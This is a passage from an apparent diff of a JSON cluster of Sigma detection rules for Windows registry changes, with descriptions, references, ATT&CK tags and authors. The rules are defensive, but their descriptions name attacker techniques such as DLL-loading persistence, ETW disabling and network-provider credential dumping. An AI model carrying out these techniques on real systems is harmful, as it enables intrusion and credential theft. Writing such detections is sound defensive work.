"falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", - "uuid": "e61e8a88-59a9-451c-874e-70fcc9740d67", - "value": "DNS ServerLevelPluginDll Install", - "meta": { - "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dns_serverlevelplugindll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1112" - ], - "creation_date": "2017/05/08", - "filename": "registry_set_dns_serverlevelplugindll.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.", - "uuid": "ad89044a-8f49-4673-9a55-cbd88a1b374f", - "value": "Enabling COR Profiler Environment Variables", - "meta": { - "refs": [ - "https://twitter.com/jamieantisocial/status/1304520651248668673", - "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", - "https://www.sans.org/cyber-security-summit/archives", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1574.012" - ], - "creation_date": "2020/09/10", - "filename": "registry_set_enabling_cor_profiler_env_variables.yml", - "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability", - "uuid": "7d995e63-ec83-4aa3-89d5-8a17b5c87c86", - "value": "Scripted Diagnostics Turn Off Check Enabled - Registry", - "meta": { - "refs": [ - "https://twitter.com/wdormann/status/1537075968568877057?s=20&t=0lr18OAnmAGoGpma6grLUw", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_turnoffcheck.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/06/15", - "filename": "registry_set_enabling_turnoffcheck.yml", - "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "Administrator actions" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", - "uuid": "bf4fc428-dcc3-4bbd-99fe-2422aeee2544", - "value": "COMPlus_ETWEnabled Registry Modification", - "meta": { - "refs": [ - "https://twitter.com/_xpn_/status/1268712093928378368", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://bunnyinside.com/?term=f71e8cb9c76a", - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_etw_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/06/05", - "filename": "registry_set_etw_disabled.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", - "uuid": "42205c73-75c8-4a63-9db1-e3782e06fda0", - "value": "Suspicious Application Allowed Through Exploit Guard", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/05", - "filename": "registry_set_exploit_guard_susp_allowed_apps.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", - "uuid": "e3fdf743-f05b-4051-990a-b66919be1743", - "value": "Change User Account Associated with the FAX Service", - "meta": { - "refs": [ - "https://twitter.com/dottor_morte/status/1544652325570191361", - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/07/17", - "filename": "registry_set_fax_change_service_user.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detect possible persistence using Fax DLL load when service restart", - "uuid": "9e3357ba-09d4-4fbd-a7c5-ad6386314513", - "value": "Change the Fax Dll", - "meta": { - "refs": [ - "https://twitter.com/dottor_morte/status/1544652325570191361", - "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/07/17", - "filename": "registry_set_fax_dll_persistance.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", - "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff", - "value": "New File Association Using Exefile", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1461041276514623491", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2021/11/19", - "filename": "registry_set_file_association_exefile.yml", - "author": "Andreas Hunkeler (@Karneades)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects persistence using GlobalFlags in image file execution options", - "uuid": "36803969-5421-41ec-b92f-8500f79c23b0", - "value": "GlobalFlags Registry Persistence Mechanisms", - "meta": { - "refs": [ - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_globalflags_persistence.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.defense_evasion", - "attack.t1546.012", - "car.2013-01-002" - ], - "creation_date": "2018/04/11", - "filename": "registry_set_globalflags_persistence.yml", - "author": "Karneades, Jonhnathan Ribeiro", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", - "uuid": "833ef470-fa01-4631-a79b-6f291c9ac498", - "value": "Add Debugger Entry To Hangs Key For Persistence", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/wer_debugger.html", - "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_hangs_debugger_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "This value is not set by default but could be rarly used by administrators" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", - "uuid": "f10ed525-97fe-4fed-be7c-2feecca941b1", - "value": "Persistence Via Hhctrl.ocx", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/hhctrl.html", - "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_hhctrl_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Hides the file extension through modification of the registry", - "uuid": "5df86130-4e95-4a54-90f7-26541b40aec2", - "value": "Registry Modification to Hidden File Extension", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", - "https://unit42.paloaltonetworks.com/ransomware-families/", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ], - "creation_date": "2022/01/22", - "filename": "registry_set_hidden_extention.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.", - "uuid": "5a5152f1-463f-436b-b2f5-8eceb3964b42", - "value": "Modification of Explorer Hidden Keys", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2022/04/02", - "filename": "registry_set_hide_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", - "uuid": "5a93eb65-dffa-4543-b761-94aa60098fb6", - "value": "Registry Hide Function from User", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/03/18", - "filename": "registry_set_hide_function_user.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate admin script" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n", - "uuid": "5b16df71-8615-4f7f-ac9b-6c43c0509e61", - "value": "Hide Schedule Task Via Index Value Tamper", - "meta": { - "refs": [ - "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ], - "creation_date": "2022/08/26", - "filename": "registry_set_hide_scheduled_task_via_index_tamper.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the modification of the registry settings used for Internet Explorer and other Windows components that use these settings", - "uuid": "d88d0ab2-e696-4d40-a2ed-9790064e66b3", - "value": "Modification of IE Registry Settings", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_persistence.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2022/01/22", - "filename": "registry_set_ie_persistence.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", - "uuid": "b23818c7-e575-4d13-8012-332075ec0a2b", - "value": "Register New IFiltre For Persistence", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/ifilters.html", - "https://twitter.com/0gtweet/status/1468548924600459267", - "https://github.com/gtworek/PSBits/tree/master/IFilter", - "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ifilter_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_ifilter_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate registration of IFilters by the OS or software" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", - "uuid": "d223b46b-5621-4037-88fe-fda32eead684", - "value": "New Root or CA or AuthRoot Certificate to Store", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store", - "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2022/04/04", - "filename": "registry_set_install_root_or_ca_certificat.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n", - "uuid": "3aff0be0-7802-4a7e-a4fa-c60c74bc5e1d", - "value": "Lolbas OneDriveStandaloneUpdater.exe Proxy Download", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/05/28", - "filename": "registry_set_lolbin_onedrivestandaloneupdater.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", - "uuid": "41f6531d-af6e-4c6e-918f-b946f2b85a36", - "value": "Persistence Via LSA Extensions", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/lsaaextension.html", - "https://twitter.com/0gtweet/status/1476286368385019906", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_extension_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_lsa_extension_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", - "uuid": "42f0e038-767e-4b85-9d96-2c6335bad0b5", - "value": "Adwind RAT / JRAT", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", - "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.t1059.007" - ], - "creation_date": "2017/11/10", - "filename": "registry_set_mal_adwind.yml", - "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Attempts to detect system changes made by Blue Mockingbird", - "uuid": "92b0b372-a939-44ed-a11b-5136cf680e27", - "value": "Blue Mockingbird", - "meta": { - "refs": [ - "https://redcanary.com/blog/blue-mockingbird-cryptominer/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_blue_mockingbird.yml" - ], - "tags": [ - "attack.execution", - "attack.t1112", - "attack.t1047" - ], - "creation_date": "2020/05/14", - "filename": "registry_set_mal_blue_mockingbird.yml", - "author": "Trent Liffick (@tliffick)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", - "uuid": "92772523-d9c1-4c93-9547-b0ca500baba3", - "value": "Persistence Via Mpnotify", - "meta": { - "refs": [ - "https://persistence-info.github.io/Data/mpnotify.html", - "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mpnotify_persistence.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "registry_set_mpnotify_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", - "uuid": "60936b49-fca0-4f32-993d-7415edcf9a5d", - "value": "New Application in AppCompat", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/1", - "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml" - ], - "tags": [ - "attack.execution", - "attack.t1204.002" - ], - "creation_date": "2020/05/02", - "filename": "registry_set_new_application_appcompat.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "informational", - "falsepositive": [ - "This rule is to explore new applications on an endpoint. False positives depends on the organization.", - "Newly setup system.", - "Legitimate installation of new application." - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", - "uuid": "0442defa-b4a2-41c9-ae2c-ea7042fc4701", - "value": "New Network Provider - Registry", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", - "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ], - "creation_date": "2022/08/23", - "filename": "registry_set_new_network_provider.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Other legitimate network providers used and not filtred in this rule" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", - "uuid": "63647769-326d-4dde-a419-b925cc0caf42", - "value": "Enable Microsoft Dynamic Data Exchange", - "meta": { - "refs": [ - "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml" - ], - "tags": [ - "attack.execution", - "attack.t1559.002" - ], - "creation_date": "2022/02/26", - "filename": "registry_set_office_enable_dde.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)", - "uuid": "a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd", - "value": "Office Security Settings Changed", - "meta": { - "refs": [ - "https://twitter.com/inversecos/status/1494174785621819397", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/05/22", - "filename": "registry_set_office_security.yml", - "author": "Trent Liffick (@tliffick)", - "level": "high", - "falsepositive": [ - "Valid Macros and/or internal documents" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", - "uuid": "9d15044a-7cfe-4d23-8085-6ebc11df7685", - "value": "Stealthy VSTO Persistence", - "meta": { - "refs": [ - "https://twitter.com/_vivami/status/1347925307643355138", - "https://vanmieghem.io/stealth-outlook-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vsto_persistence.yml" - ], - "tags": [ - "attack.t1137.006", - "attack.persistence" - ], - "creation_date": "2021/01/10", - "filename": "registry_set_office_vsto_persistence.yml", - "author": "Bhabesh Raj", - "level": "medium", - "falsepositive": [ - "Legitimate Addin Installation" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other.", - "uuid": "e3b50fa5-3c3f-444e-937b-0a99d33731cd", - "value": "Outlook C2 Registry Key", - "meta": { - "refs": [ - "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_c2_registry_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.command_and_control", - "attack.t1137", - "attack.t1008", - "attack.t1546" - ], - "creation_date": "2021/04/05", - "filename": "registry_set_outlook_c2_registry_key.yml", - "author": "@ScoubiMtl", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the manipulation of persistent URLs which could execute malicious code", - "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1", - "value": "Persistent Outlook Landing Pages", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_todaypage.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1112" - ], - "creation_date": "2021/06/10", - "filename": "registry_set_outlook_registry_todaypage.yml", - "author": "Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects the manipulation of persistent URLs which can be malicious", - "uuid": "ddd171b5-2cc6-4975-9e78-f0eccd08cc76", - "value": "Persistent Outlook Landing Pages", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", - "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_webview.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1112" - ], - "creation_date": "2021/06/09", - "filename": "registry_set_outlook_registry_webview.yml", - "author": "Tobias Michalski", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Change outlook email security settings", - "uuid": "c3cefdf4-6703-4e1c-bad8-bf422fc5015a", - "value": "Change Outlook Security Setting in Registry", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", - "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ], - "creation_date": "2021/12/28", - "filename": "registry_set_outlook_security.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential persistence using Appx DebugPath", - "uuid": "df4dc653-1029-47ba-8231-3c44238cc0ae", - "value": "Windows Registry Persistence DebugPath", - "meta": { - "refs": [ - "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/", - "https://github.com/rootm0s/WinPwnage", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2022/07/27", - "filename": "registry_set_persistence_appx_debugger.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", - "uuid": "e6fe26ee-d063-4f5b-b007-39e90aaf50e3", - "value": "Persistence Via AutodialDLL", - "meta": { - "refs": [ - "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", - "https://persistence-info.github.io/Data/autodialdll.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/08/10", - "filename": "registry_set_persistence_autodial_dll.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a supsicious or unsuale location", - "uuid": "3d968d17-ffa4-4bc0-bfdc-f139de76ce77", - "value": "COM Hijacking For Persistence With Suspicious Locations", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.015" - ], - "creation_date": "2022/07/28", - "filename": "registry_set_persistence_com_hijacking_susp_locations.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Probable legitimate applications. If you find these please add them to an exclusion list" - ], - "logsource.category": "registry_set", - "logsource.product": "windows" - } - }, - { - "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", - "uuid": "8fbe98a8-8f9d-44f8-aa71-8c572e29ef06", - "value": "Persistence Via MyComputer Key and SubKeys", - "meta": { - "refs": [ - 